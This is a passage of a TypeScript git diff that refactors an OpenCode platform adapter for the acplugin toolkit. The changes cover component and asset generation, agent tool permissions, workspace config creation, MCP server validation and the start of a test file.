规范化并冻结后的字段校验上下文。 - */ -export function validateOpenCodeComponentFields(context: PlatformComponentValidationContext): void { - for (const field of Object.keys(context.fields)) { +/** OpenCode base Workspace 的 Component 转换结果。 */ +export interface OpenCodeComponentPackage { + readonly assets: readonly PackageAssetInput[]; + readonly compatibility: readonly CompatibilityInput[]; +} + +/** 校验 OpenCode Component namespace,不允许任意 Frontmatter 透传。 */ +export function validateOpenCodeComponent(context: PlatformComponentValidationContext): void { + /** fields 是 Scanner 已复制冻结的平台 namespace。 */ + const fields = context.component.platforms.opencode ?? {}; + for (const field of Object.keys(fields)) { if (!COMPONENT_FIELDS.has(field)) { - context.reportDiagnostic({ + context.diagnostics.report({ code: 'OPENCODE_COMPONENT_FIELD_UNKNOWN', severity: 'error', message: `Unknown OpenCode ${context.component.kind} field "${field}".`, @@ -31,36 +36,27 @@ export function validateOpenCodeComponentFields(context: PlatformComponentValida } } -/** - * 把规范 Agent 能力映射为 OpenCode 工具开关。 - * - * @param capabilities Agent 声明的规范能力。 - * @returns 每个稳定工具都显式允许或拒绝的确定性对象。 - */ +/** @returns canonical Agent capabilities 对应的完整 OpenCode 工具开关。 */ function openCodeTools(capabilities: readonly AgentCapability[]): Readonly> { - /** 规范能力映射后的允许工具集合。 */ + /** allowed 累积多个 capability 映射到的去重工具。 */ const allowed = new Set(); + /** mapping 是 canonical capability 到 OpenCode 工具的稳定映射。 */ + const mapping = { + 'filesystem:read': ['read', 'glob', 'grep'], + 'filesystem:write': ['edit'], + 'search': ['glob', 'grep'], + 'shell': ['bash'], + 'network': ['webfetch'], + 'delegate': ['task'], + } satisfies Record; for (const capability of capabilities) { - /** tool 表示当前能力拥有的一个 OpenCode 工具。 */ - for (const tool of ({ - 'filesystem:read': ['read', 'glob', 'grep'], - 'filesystem:write': ['edit'], - 'search': ['glob', 'grep'], - 'shell': ['bash'], - 'network': ['webfetch'], - 'delegate': ['task'], - } satisfies Record)[capability]) + for (const tool of mapping[capability]) allowed.add(tool); } return Object.freeze(Object.fromEntries(OPENCODE_TOOLS.map(tool => [tool, allowed.has(tool)]))); } -/** - * 把规范 Agent 能力映射为 OpenCode permission 决策。 - * - * @param tools 已完成能力映射的工具开关。 - * @returns 对具有副作用或外部访问能力的工具给出显式 allow/deny。 - */ +/** @returns 对有副作用或外部访问的 OpenCode 工具给出显式 allow/deny。 */ function openCodePermissions(tools: Readonly>): Readonly> { return Object.freeze({ edit: tools.edit ? 'allow' : 'deny', @@ -70,96 +66,101 @@ function openCodePermissions(tools: Readonly>): Readonly }); } -/** - * 把规范 Commands、Skills 与 Agents 转换为 OpenCode workspace 资源。 - * - * @param context Platform generateBundle 生命周期上下文。 - * @returns 确定排序且尚未进入 DeliveryUnit Registry 的 Artifact 输入。 - */ -export function generateComponentArtifacts(context: PlatformGenerateContext): ArtifactInput[] { - /** 当前 Platform 累计生成的 Component Artifact。 */ - const artifacts: ArtifactInput[] = []; - for (const command of context.project.commands) { - artifacts.push(bytesArtifact(`.opencode/commands/${command.id}.md`, markdownWithFrontmatter({ - description: command.description, - }, command.body.replaceAll('{{arguments}}', '$ARGUMENTS')))); - context.reportCompatibility({ +/** 把 canonical Commands、Skills 与 Agents 转换为 OpenCode workspace Assets。 */ +export async function createOpenCodeComponents( + project: CanonicalProject, + assets: AssetService, +): Promise { + /** output 只包含 Platform 自有 bytes 和 Core 授权的 Skill auxiliary refs。 */ + const output: PackageAssetInput[] = []; + /** compatibility 精确覆盖三类 canonical Component。 */ + const compatibility: CompatibilityInput[] = []; + for (const command of project.commands) { + /** Command Markdown 使用 OpenCode 原生 workspace 目录和参数占位符。 */ + const asset = await assets.fromBytes({ + bytes: markdownWithFrontmatter({ description: command.description }, command.body.replaceAll('{{arguments}}', '$ARGUMENTS')), + origin: { operation: 'component-command', subjects: [`command:${command.id}`] }, + }); + output.push(Object.freeze({ path: `.opencode/commands/${command.id}.md`, asset })); + compatibility.push(Object.freeze({ subject: `command:${command.id}`, capability: 'component', level: 'native', - reason: 'OpenCode supports workspace Commands and the $ARGUMENTS placeholder.', - }); + reason: 'OpenCode supports native workspace Commands and the $ARGUMENTS placeholder.', + })); if (command.argumentHint !== undefined) { - context.reportCompatibility({ + compatibility.push(Object.freeze({ subject: `command:${command.id}`, - capability: 'argumentHint', + capability: 'argument-hint', level: 'degraded', - transformation: 'The Command remains callable without argument hint UI.', + transformation: 'argument-hint-omitted', reason: 'OpenCode Command metadata has no verified argument hint field.', - }); + })); } } - - for (const skill of context.project.skills) { - artifacts.push(bytesArtifact(`.opencode/skills/${skill.id}/SKILL.md`, markdownWithFrontmatter({ - name: skill.id, - description: skill.description, - }, skill.body))); - for (const auxiliary of skill.auxiliaryFiles) { - artifacts.push({ - path: `.opencode/skills/${skill.id}/${auxiliary.path}`, - source: { type: 'file', path: auxiliary.sourcePath }, - mode: auxiliary.mode, - }); - } - context.reportCompatibility({ + for (const skill of project.skills) { + /** Skill 主文档使用 OpenCode 原生 Agent Skill 结构。 */ + const asset = await assets.fromBytes({ + bytes: markdownWithFrontmatter({ name: skill.id, description: skill.description }, skill.body), + origin: { operation: 'component-skill', subjects: [`skill:${skill.id}`] }, + }); + output.push(Object.freeze({ path: `.opencode/skills/${skill.id}/SKILL.md`, asset })); + for (const auxiliary of skill.auxiliaryFiles) + output.push(Object.freeze({ path: `.opencode/skills/${skill.id}/${auxiliary.path}`, asset: auxiliary.asset })); + compatibility.push(Object.freeze({ subject: `skill:${skill.id}`, capability: 'component', level: 'native', - reason: 'OpenCode supports workspace Agent Skills natively.', - }); + reason: 'OpenCode supports native workspace Agent Skills.', + })); if (!skill.invocation.user || !skill.invocation.model) { - context.reportCompatibility({ + compatibility.push(Object.freeze({ subject: `skill:${skill.id}`, capability: 'invocation', level: 'degraded', - transformation: 'The Skill remains available to both users and the model.', - reason: 'OpenCode has no verified independent user/model invocation switches for Skills.', - }); + transformation: 'invocation-switches-omitted', + reason: 'OpenCode has no verified independent user and model invocation switches for Skills.', + })); } } - - for (const agent of context.project.agents) { - /** 根据规范能力创建精确的工具开关。 */ + for (const agent of project.agents) { + /** tools 是 portable capability 的原生完整开关映射。 */ const tools = openCodeTools(agent.capabilities); - artifacts.push(bytesArtifact(`.opencode/agents/${agent.id}.md`, markdownWithFrontmatter({ - description: agent.description, - mode: 'subagent', - tools, - permission: openCodePermissions(tools), - }, agent.body))); - context.reportCompatibility({ - subject: `agent:${agent.id}`, - capability: 'component', - level: 'native', - reason: 'OpenCode supports workspace Subagents natively.', - }); - context.reportCompatibility({ - subject: `agent:${agent.id}`, - capability: 'agent.capabilities', - level: 'transform', - transformation: 'Canonical capabilities become OpenCode tools and permission fields.', - reason: 'OpenCode can enforce the canonical capability boundary through native configuration.', + /** Agent Markdown 使用 OpenCode 原生 Subagent 配置。 */ + const asset = await assets.fromBytes({ + bytes: markdownWithFrontmatter({ + description: agent.description, + mode: 'subagent', + tools, + permission: openCodePermissions(tools), + }, agent.body), + origin: { operation: 'component-agent', subjects: [`agent:${agent.id}`] }, }); + output.push(Object.freeze({ path: `.opencode/agents/${agent.id}.md`, asset })); + compatibility.push( + Object.freeze({ + subject: `agent:${agent.id}`, + capability: 'component', + level: 'native', + reason: 'OpenCode supports native workspace Subagents.', + }), + Object.freeze({ + subject: `agent:${agent.id}`, + capability: 'agent.capabilities', + level: 'transform', + transformation: 'native-tools-and-permissions', + reason: 'OpenCode enforces canonical capabilities through native tools and permission fields.', + }), + ); if (agent.model !== 'inherit') { - context.reportCompatibility({ + compatibility.push(Object.freeze({ subject: `agent:${agent.id}`, capability: 'agent.model', level: 'degraded', - transformation: 'OpenCode chooses its current platform default model.', - reason: 'acplugin does not hard-code a changing OpenCode model ID for abstract model classes.', - }); + transformation: 'platform-default-model', + reason: 'OpenCode has no stable mapping for canonical abstract model classes.', + })); } } - return artifacts; + return Object.freeze({ assets: Object.freeze(output), compatibility: Object.freeze(compatibility) }); } diff --git a/packages/platforms/opencode/src/config-document.ts b/packages/platforms/opencode/src/config-document.ts index 5e841c4..dc8ea21 100644 --- a/packages/platforms/opencode/src/config-document.ts +++ b/packages/platforms/opencode/src/config-document.ts @@ -1,11 +1,9 @@ -import { - bytesArtifact, - stableJson, - type ArtifactInput, - type DraftDocument, - type JsonObject, - type PlatformPrepareContext, -} from '@tokenroll/acplugin'; +import type { + JsonObject, + MetadataDispositionInput, + PackageDocumentInput, + PluginMetadata, +} from '@tokenroll/acplugin/sdk'; import type { OpenCodePlatformOptions, OpenCodeWorkspaceOptions } from './types.js'; /** OpenCode workspace 配置的稳定逻辑 Document ID。 */ @@ -14,17 +12,10 @@ export const WORKSPACE_CONFIG_ID = 'workspace-config'; /** OpenCode workspace 配置相对于交付根的固定路径。 */ export const WORKSPACE_CONFIG_PATH = 'opencode.json'; -/** OpenCode Platform 写入 Document 时使用的固定 owner。 */ -const PLATFORM_OWNER = 'platform:opencode' as const; - /** OpenCode 官方 JSON Schema URL。 */ const OPENCODE_SCHEMA_URL = 'https://opencode.ai/config.json'; -/** - * 校验 OpenCode Platform 选项并拒绝任意 workspace 配置透传。 - * - * @param options 用户声明的 Platform 选项。 - */ +/** 校验 OpenCode Platform 选项并拒绝任意 workspace 配置透传。 */ export function validatePlatformOptions(options: OpenCodePlatformOptions): void { /** Platform 顶层只允许 strict 和受控 workspace 子对象。 */ const allowed = new Set(['strict', 'workspace']); @@ -37,7 +28,6 @@ export function validatePlatformOptions(options: OpenCodePlatformOptions): void if (options.workspace !== undefined) { if (options.workspace === null || typeof options.workspace !== 'object' || Array.isArray(options.workspace)) throw new TypeError('OpenCode workspace must be a plain object.'); - /** workspace 首期只控制是否输出官方 Schema。 */ for (const field of Object.keys(options.workspace)) { if (field !== 'schema') throw new TypeError(`Unknown OpenCode workspace option "${field}".`); @@ -47,64 +37,47 @@ export function validatePlatformOptions(options: OpenCodePlatformOptions): void } } -/** - * 报告统一 Plugin 元数据在 workspace 交付中的省略结果。 - * - * @param context Platform prepare 阶段的元数据报告出口。 - */ -function reportMetadata(context: PlatformPrepareContext): void { - /** OpenCode workspace 没有静态 Plugin Manifest,因此不会复制统一元数据。 */ - const fields = ['name', 'version', 'description', 'displayName', 'author', 'homepage', 'repository', 'license', 'keywords'] as const; - /** field 表示当前实际存在或必填的统一元数据。 */ - for (const field of fields) { - if (field === 'name' || field === 'version' || field === 'description' || context.project.metadata[field] !== undefined) { - context.reportMetadata({ - field, - disposition: 'omitted', - reason: 'OpenCode delivery is a workspace, not a static Plugin Manifest.', - }); - } +/** @returns OpenCode workspace 对实际 canonical metadata 的完整 omitted disposition。 */ +function metadataDispositions(metadata: PluginMetadata): readonly MetadataDispositionInput[] { + /** fields 与 Core metadata coverage 使用相同的字段粒度。 */ + const fields = ['name', 'version', 'description']; + for (const field of ['displayName', 'homepage', 'repository', 'license'] as const) { + if (metadata[field] !== undefined) + fields.push(field); + } + if (metadata.author !== undefined) { + fields.push('author.name'); + if (metadata.author.email !== undefined) + fields.push('author.email'); + if (metadata.author.url !== undefined) + fields.push('author.url'); } + if (metadata.keywords.length > 0) + fields.push('keywords'); + return Object.freeze(fields.map(field => Object.freeze({ + field, + disposition: 'omitted' as const, + reason: 'OpenCode delivery is a workspace overlay, not a static Plugin Manifest.', + }))); } -/** - * 创建按需序列化的 OpenCode workspace 配置 Document。 - * - * @param context Platform prepare 生命周期上下文。 - * @returns 只向 MCP Extension 开放 mcp 根字段的受控 Document。 - */ -export function createWorkspaceDocument(context: PlatformPrepareContext): DraftDocument { - reportMetadata(context); - /** 工厂选项中已由边界校验的 workspace 配置。 */ - const options = context.options.workspace as OpenCodeWorkspaceOptions | undefined; - /** 默认空对象在没有 Extension patch 时不会物化为 opencode.json。 */ - const value: JsonObject = options?.schema === true ? { $schema: OPENCODE_SCHEMA_URL } : {}; - return { +/** 创建由 Core codec 按需物化且只开放 MCP 根字段的 workspace Document。 */ +export function createWorkspaceDocument(input: { + readonly metadata: PluginMetadata; + readonly options: Readonly; +}): { readonly document: PackageDocumentInput; readonly metadata: readonly MetadataDispositionInput[] } { + /** workspaceOptions 已由工厂边界校验并由 Core 复制冻结。 */ + const workspaceOptions = input.options.workspace as OpenCodeWorkspaceOptions | undefined; + /** 空对象配合 omit-if-empty 避免覆盖消费项目已有 opencode.json。 */ + const value: JsonObject = workspaceOptions?.schema === true ? { $schema: OPENCODE_SCHEMA_URL } : {}; + /** document 是 OpenCode Platform 唯一拥有的结构化配置。 */ + const document: PackageDocumentInput = Object.freeze({ id: WORKSPACE_CONFIG_ID, path: WORKSPACE_CONFIG_PATH, format: 'json', - owner: PLATFORM_OWNER, value, emission: 'omit-if-empty', - extensionPoints: [['mcp']], - }; -} - -/** - * 按需序列化完成 Adapter patch 的 OpenCode workspace 配置。 - * - * @param documents 当前 Platform Draft 的完整 Document 列表。 - * @returns 空配置不产生文件,其余情况返回固定 opencode.json Artifact。 - */ -export function serializeDocuments(documents: readonly DraftDocument[]): ArtifactInput[] { - /** 按逻辑 ID 查找唯一 workspace 配置。 */ - const config = documents.find(document => document.id === WORKSPACE_CONFIG_ID); - if (!config || config.path !== WORKSPACE_CONFIG_PATH || config.format !== 'json') - throw new Error('OpenCode Platform Draft is missing its canonical workspace config Document.'); - if (documents.length !== 1) - throw new Error('OpenCode Platform received an unknown Document.'); - /** 空对象代表没有平台或 Extension 配置,不覆盖消费 workspace 的通用配置。 */ - if (Object.keys(config.value as JsonObject).length === 0) - return []; - return [bytesArtifact(WORKSPACE_CONFIG_PATH, stableJson(config.value))]; + extensionPoints: Object.freeze([Object.freeze(['mcp'] as const)]), + }); + return Object.freeze({ document, metadata: metadataDispositions(input.metadata) }); } diff --git a/packages/platforms/opencode/src/index.ts b/packages/platforms/opencode/src/index.ts index 007ecf2..326ed70 100644 --- a/packages/platforms/opencode/src/index.ts +++ b/packages/platforms/opencode/src/index.ts @@ -1,25 +1,25 @@ -import { definePlatform, type AcpluginPlatform, type JsonObject } from '@tokenroll/acplugin'; -import { generateComponentArtifacts, validateOpenCodeComponentFields } from './components.js'; -import { createWorkspaceDocument, serializeDocuments, validatePlatformOptions } from './config-document.js'; +import { + definePlatform, + type AcpluginPlatform, + type JsonObject, +} from '@tokenroll/acplugin/sdk'; +import { createOpenCodeComponents, validateOpenCodeComponent } from './components.js'; +import { createWorkspaceDocument, validatePlatformOptions } from './config-document.js'; import type { OpenCodePlatformOptions } from './types.js'; -import { validateOpenCodeBundle } from './validator.js'; +import { validateOpenCodePackage } from './validator.js'; export type { OpenCodePlatformOptions, OpenCodeWorkspaceOptions } from './types.js'; /** OpenCode Platform 的稳定开放 ID。 */ export const PLATFORM_ID = 'opencode' as const; + /** OpenCode Platform 实现的 Core API 版本。 */ export const PLATFORM_API_VERSION = '1' as const; -/** - * 创建独立且可由 Core 品牌校验的 OpenCode Platform。 - * - * @param options 严格度覆盖和 workspace 配置选项。 - * @returns OpenCode workspace 交付实现。 - */ +/** 创建只通过 Package API 交付 OpenCode workspace overlay 的 Platform。 */ export function openCode(options: OpenCodePlatformOptions = {}): AcpluginPlatform { validatePlatformOptions(options); - /** strict 属于 Core 策略,其余字段作为 Platform 生命周期专属配置保存。 */ + /** strict 由 Core 解释,其余选项复制、深冻后进入 Platform Session。 */ const { strict, ...platformOptions } = options; return definePlatform({ id: PLATFORM_ID, @@ -27,22 +27,28 @@ export function openCode(options: OpenCodePlatformOptions = {}): AcpluginPlatfor deliveryType: 'workspace', ...(strict === undefined ? {} : { strict }), options: platformOptions as unknown as JsonObject, - validateComponentFields: validateOpenCodeComponentFields, - /** prepare 创建可由 MCP Adapter add-only patch 的 workspace Document。 */ - prepare: context => ({ documents: [createWorkspaceDocument(context)], artifacts: [] }), - /** generateBundle 生成资源,并仅在有配置时物化 opencode.json。 */ - generateBundle: context => ({ - id: 'workspace', - role: 'primary', - type: 'workspace', - artifacts: [ - ...context.artifacts, - ...generateComponentArtifacts(context), - ...serializeDocuments(context.documents), - ], - }), - /** 最终候选不得伪造 Plugin Manifest 或覆盖通用 package.json。 */ - validateBundle: validateOpenCodeBundle, + /** OpenCode workspace 不声明 Plugin-local Node Runtime 能力。 */ + createSession({ options: sessionOptions }) { + return { + validateComponent: validateOpenCodeComponent, + /** base Package 包含 workspace Components 和可省略的结构化配置。 */ + async createPackage({ project, assets }) { + /** components 全部通过 Platform owner 的 Asset Service 签发。 */ + const components = await createOpenCodeComponents(project, assets); + /** workspace config 由 Core codec 处理并只开放 MCP 字段。 */ + const config = createWorkspaceDocument({ metadata: project.metadata, options: sessionOptions }); + return { + documents: [config.document], + assets: components.assets, + compatibility: components.compatibility, + metadata: config.metadata, + }; + }, + /** 主单元身份明确是 workspace,不伪装 Plugin root。 */ + finalizePackage: () => ({ id: 'workspace', type: 'workspace' }), + validatePackage: validateOpenCodePackage, + }; + }, }); } diff --git a/packages/platforms/opencode/src/validator.ts b/packages/platforms/opencode/src/validator.ts index 168425f..49e96dc 100644 --- a/packages/platforms/opencode/src/validator.ts +++ b/packages/platforms/opencode/src/validator.ts @@ -1,11 +1,23 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; -import type { JsonValue, PlatformValidateContext } from '@tokenroll/acplugin'; +import type { JsonValue, ValidatePackageContext } from '@tokenroll/acplugin/sdk'; import { WORKSPACE_CONFIG_PATH } from './config-document.js'; +/** OpenCode validator 只消费 SDK 的最终 Package candidate Context。 */ +type PlatformValidateContext = ValidatePackageContext; + /** OpenCode workspace 配置由 Platform/Extension 允许生成的根字段。 */ const CONFIG_FIELDS = new Set(['$schema', 'mcp']); +/** OpenCode local MCP descriptor 允许的完整字段。 */ +const LOCAL_MCP_FIELDS = new Set(['type', 'command', 'environment', 'enabled']); + +/** OpenCode remote MCP descriptor 允许的完整字段。 */ +const REMOTE_MCP_FIELDS = new Set(['type', 'url', 'headers', 'oauth', 'enabled']); + +/** OpenCode MCP Server key 使用稳定 lowercase-kebab 规则。 */ +const MCP_SERVER_ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; + /** JSON 对象的运行时只读索引类型。 */ type JsonRecord = Record; @@ -22,12 +34,116 @@ function isRecord(value: unknown): value is JsonRecord { /** * 向 Core 提交 OpenCode 候选校验错误。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param code 稳定诊断码。 * @param message 不包含宿主绝对路径的错误信息。 */ function report(context: PlatformValidateContext, code: string, message: string): void { - context.reportDiagnostic({ code, severity: 'error', message }); + context.diagnostics.report({ code, severity: 'error', message }); +} + +/** @returns 安全 workspace-relative POSIX 引用对应的 Asset key。 */ +function workspaceAssetPath(value: string): string | undefined { + if (!value.startsWith('./') || value.includes('\\') || value.includes('\0')) + return undefined; + /** relative 必须是非空且不含空、dot 或 parent segment 的路径。 */ + const relative = value.slice(2); + /** 分段校验避免任一 segment 逃逸 workspace。 */ + const segments = relative.split('/'); + if (relative.length === 0 || segments.some(segment => segment === '' || segment === '.' || segment === '..')) + return undefined; + return relative; +} + +/** 校验 Platform 将要运行或连接的 OpenCode MCP wire data。 */ +async function validateMcp( + context: PlatformValidateContext, + assets: ReadonlySet, + value: JsonRecord, +): Promise { + for (const [id, candidate] of Object.entries(value)) { + if (!MCP_SERVER_ID_PATTERN.test(id) || !isRecord(candidate)) { + report(context, 'OPENCODE_MCP_SERVER_INVALID', `OpenCode MCP Server "${id}" must use lowercase kebab-case and map to an object.`); + continue; + } + /** type 决定当前 descriptor 的 exact field set。 */ + const fields = candidate.type === 'local' + ? LOCAL_MCP_FIELDS + : candidate.type === 'remote' + ? REMOTE_MCP_FIELDS + : undefined; + if (fields !== undefined) { + for (const field of Object.keys(candidate)) { + if (!fields.has(field)) + report(context, 'OPENCODE_MCP_FIELD_UNKNOWN', `Unknown OpenCode MCP field "${field}" on Server "${id}".`); + } + } + if (candidate.enabled !== undefined && typeof candidate.enabled !== 'boolean') + report(context, 'OPENCODE_MCP_ENABLED_INVALID', `OpenCode MCP Server "${id}" enabled must be boolean.`); + if (candidate.type === 'local') { + /** local command 固定为 node 与当前 Server ID 的唯一 canonical bundle path。 */ + const command = candidate.command; + if (!Array.isArray(command) || command.length !== 2 || command.some(argument => typeof argument !== 'string')) { + report(context, 'OPENCODE_MCP_LOCAL_COMMAND_INVALID', `OpenCode local MCP Server "${id}" requires exactly two string command arguments.`); + continue; + } + /** ID、目标路径和可执行 mode 共同封闭最终候选协议。 */ + const expected = `.opencode/mcp/${id}/server.mjs`; + /** command[1] 已由完整字符串数组检查收窄。 */ + const entry = workspaceAssetPath(command[1] as string); + /** 只有当前 ID 的固定路径才可作为本地 Server。 */ + let executable = false; + if (entry === expected && assets.has(expected)) { + try { + /** candidate 是 Core 临时物化且已闭包校验的只读树。 */ + const stat = await fs.lstat(path.join(context.candidate.root, expected)); + executable = stat.isFile() && !stat.isSymbolicLink() && (stat.mode & 0o777) === 0o755; + } catch { + executable = false; + } + } + if (command[0] !== 'node' || entry !== expected || !executable) + report(context, 'OPENCODE_MCP_LOCAL_ENTRY_INVALID', `OpenCode local MCP Server "${id}" must reference its executable canonical workspace Asset.`); + if (candidate.environment !== undefined + && (!isRecord(candidate.environment) + || Object.entries(candidate.environment).some(([key, entryValue]) => key.trim().length === 0 || typeof entryValue !== 'string'))) { + report(context, 'OPENCODE_MCP_ENVIRONMENT_INVALID', `OpenCode local MCP Server "${id}" environment must map non-empty names to strings.`); + } + } else if (candidate.type === 'remote') { + try { + /** remote URL 只接受无内联凭据的 HTTP(S) 地址。 */ + if (typeof candidate.url !== 'string') + throw new TypeError('URL must be a string.'); + /** url 是已经通过字符串边界的标准 URL 解析结果。 */ + const url = new URL(candidate.url); + if ((url.protocol !== 'http:' && url.protocol !== 'https:') || url.username !== '' || url.password !== '') + throw new TypeError('Unsafe URL.'); + } catch { + report(context, 'OPENCODE_MCP_REMOTE_URL_INVALID', `OpenCode remote MCP Server "${id}" requires an HTTP(S) URL without credentials.`); + } + if (candidate.headers !== undefined + && (!isRecord(candidate.headers) + || Object.entries(candidate.headers).some(([key, header]) => key.trim().length === 0 || typeof header !== 'string'))) { + report(context, 'OPENCODE_MCP_HEADERS_INVALID', `OpenCode remote MCP Server "${id}" headers must map non-empty names to strings.`); + } + if (candidate.oauth !== undefined) { + if (!isRecord(candidate.oauth)) { + report(context, 'OPENCODE_MCP_OAUTH_INVALID', `OpenCode remote MCP Server "${id}" oauth must be an object.`); + } else { + for (const field of Object.keys(candidate.oauth)) { + if (field !== 'scope') + report(context, 'OPENCODE_MCP_OAUTH_FIELD_UNKNOWN', `Unknown OpenCode MCP OAuth field "${field}" on Server "${id}".`); + } + if (candidate.oauth.scope !== undefined + && (typeof candidate.oauth.scope !== 'string' || candidate.oauth.scope.trim().length === 0)) { + report(context, 'OPENCODE_MCP_OAUTH_INVALID', `OpenCode remote MCP Server "${id}" oauth.scope must be a non-empty string.`); + } + } + } + } else { + report(context, 'OPENCODE_MCP_SERVER_TYPE_INVALID', `OpenCode MCP Server "${id}" must be local or remote.`); + } + } } /** @@ -35,12 +151,15 @@ function report(context: PlatformValidateContext, code: string, message: string) * * @param context Platform 提供的已物化候选交付单元。 */ -export async function validateOpenCodeBundle(context: PlatformValidateContext): Promise { - /** 当前候选交付单元的规范 Artifact 路径集合。 */ - const artifacts = new Set(context.candidate.unit.artifacts.map(artifact => artifact.path)); - if (artifacts.has('package.json')) +export async function validateOpenCodePackage(context: PlatformValidateContext): Promise { + /** 当前候选 Workspace Package 的规范 Asset 路径集合。 */ + const assets = new Set(context.candidate.unit.assets.map(asset => asset.path)); + if (assets.has('.cursor-plugin/plugin.json') || assets.has('.claude-plugin/plugin.json')) { + report(context, 'OPENCODE_PLUGIN_MANIFEST_FORBIDDEN', 'OpenCode workspace delivery must not generate a Plugin manifest.'); + } + if (assets.has('package.json')) report(context, 'OPENCODE_PACKAGE_JSON_FORBIDDEN', 'OpenCode workspace delivery must not generate a generic package.json.'); - if (!artifacts.has(WORKSPACE_CONFIG_PATH)) + if (!assets.has(WORKSPACE_CONFIG_PATH)) return; try { /** 按需配置必须是只包含 Platform/Extension 所有字段的 JSON 对象。 */ @@ -52,8 +171,12 @@ export async function validateOpenCodeBundle(context: PlatformValidateContext): if (!CONFIG_FIELDS.has(field)) report(context, 'OPENCODE_CONFIG_FIELD_UNKNOWN', `Unknown generated OpenCode config field "${field}".`); } - if (value.mcp !== undefined && !isRecord(value.mcp)) - report(context, 'OPENCODE_MCP_CONFIG_INVALID', 'opencode.json.mcp must be an object.'); + if (value.mcp !== undefined) { + if (!isRecord(value.mcp)) + report(context, 'OPENCODE_MCP_CONFIG_INVALID', 'opencode.json.mcp must be an object.'); + else + await validateMcp(context, assets, value.mcp); + } } catch { report(context, 'OPENCODE_CONFIG_READ_FAILED', 'opencode.json must contain a valid JSON object.'); } diff --git a/packages/platforms/opencode/test/platform.test.ts b/packages/platforms/opencode/test/platform.test.ts index 83987af..dff5ba6 100644 --- a/packages/platforms/opencode/test/platform.test.ts +++ b/packages/platforms/opencode/test/platform.test.ts @@ -3,16 +3,17 @@ import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; import { - bytesArtifact, - DeliveryUnitRegistry, - executeLifecycle, - resolveConfig, - stableJson, - withMaterializedDeliveryUnitCandidate, - type DiagnosticInput, - type ResolvedConfig, + resolveKernelConfig, + runKernelBuildSession, } from '@acplugin/core'; +import { + defineExtension, + type AcpluginExtension, + type BytesAssetRef, + type JsonValue, +} from '@tokenroll/acplugin/sdk'; import { openCode } from '../src/index.js'; +import { WORKSPACE_CONFIG_PATH } from '../src/config-document.js'; /** 测试结束后统一删除的临时工程根目录。 */ const temporaryRoots: string[] = []; @@ -20,115 +21,362 @@ const temporaryRoots: string[] = []; /** OpenCode 配置 Golden 的固定目录。 */ const goldenRoot = path.join(import.meta.dirname, 'golden'); -/** 创建覆盖 OpenCode 三类原生 workspace 资源的规范工程。 */ -async function createProject(): Promise { +/** 创建包含最小配置占位符且登记清理的工程。 */ +async function temporaryProject(): Promise { /** 当前用例独占的工程根目录。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-opencode-platform-')); temporaryRoots.push(root); + await fs.mkdir(path.join(root, 'src'), { recursive: true }); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), 'export default {}\n'); + return root; +} + +/** 写入 OpenCode 三类原生 workspace Component 与 Skill 辅助文件。 */ +async function writeCompleteProject(root: string): Promise { await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/skills/review'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/skills/review/references'), { recursive: true }); await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); await fs.writeFile(path.join(root, 'src/commands/release.md'), '---\ndescription: Prepare a release.\n---\nPrepare release {{arguments}}.\n'); await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), '---\ndescription: Review a change.\n---\nReview the change.\n'); - await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), '---\ndescription: Review code.\nmodel: inherit\ncapabilities:\n - filesystem:read\n - search\n---\nReview code.\n'); - return root; + await fs.writeFile(path.join(root, 'src/skills/review/references/checklist.md'), 'Review checklist.\n'); + await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), `--- +description: Review code. +model: inherit +capabilities: [filesystem:read, search] +--- +Review code. +`); } -/** 解析仅包含 OpenCode Platform 的严格测试配置。 */ -function resolvedConfig(root: string): ResolvedConfig { - /** 启用官方配置 Schema 的 workspace 解析结果。 */ - const result = resolveConfig({ +/** 执行只包含 OpenCode 的真实 Kernel v2 BuildSession。 */ +async function run(input: { + readonly root: string; + readonly platform?: ReturnType; + readonly extensions?: readonly AcpluginExtension[]; + readonly command?: 'validate' | 'inspect' | 'build'; + readonly commit?: boolean; +}) { + /** command 决定生命周期语义,commit 只允许 build 使用。 */ + const command = input.command ?? 'build'; + /** resolved 使用公开配置相同的 Kernel resolver。 */ + const resolved = resolveKernelConfig({ name: 'release-tools', version: '1.2.3', description: 'Release workflow tools.', - platforms: [openCode({ workspace: { schema: true } })], - }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); - expect(result.diagnostics).toEqual([]); - return result.config!; + public: false, + platforms: [input.platform ?? openCode({ workspace: { schema: true } })], + extensions: input.extensions ?? [], + }, { + projectRoot: input.root, + configFile: path.join(input.root, 'acplugin.config.ts'), + command, + mode: 'production', + }); + expect(resolved.diagnostics).toEqual([]); + return (await runKernelBuildSession({ + config: resolved.config!, + frameworkVersion: 'test', + commit: command === 'build' && (input.commit ?? true), + })).report; +} + +/** 创建占用 `workspace-config.mcp` 且可追加一个根 Asset 的测试 Extension。 */ +function mcpContribution(input: { + readonly id: string; + readonly value: JsonValue; + readonly asset?: { readonly path: string; readonly bytes: string; readonly mode?: 0o644 | 0o755 }; +}): AcpluginExtension { + return defineExtension, Record, Record, { readonly asset?: BytesAssetRef }>({ + id: input.id, + apiVersion: '1', + options: {}, + resourceRoots: [], + /** 每轮创建独立且不读取其他 Extension state 的 Session。 */ + createSession: () => ({ + /** 空状态表示 Fixture 已发现。 */ + discover: () => ({}), + /** capability 声明要求 Contributor 完整覆盖。 */ + validate: (_context, state) => ({ + state, + subjects: [{ subject: `fixture:${input.id}`, capabilities: ['delivery'] }], + }), + /** 可选 bytes 只通过 owner-scoped Asset Service 签发。 */ + async build({ assets }) { + if (input.asset === undefined) + return { state: {} }; + /** asset 是 Contributor 后续唯一能追加的受管引用。 */ + const asset = await assets.fromBytes({ + bytes: input.asset.bytes, + mode: input.asset.mode ?? 0o644, + origin: { operation: 'opencode-fixture', subjects: [`fixture:${input.id}`] }, + }); + return { state: { asset } }; + }, + contributors: [{ + platform: 'opencode', + platformApiVersion: 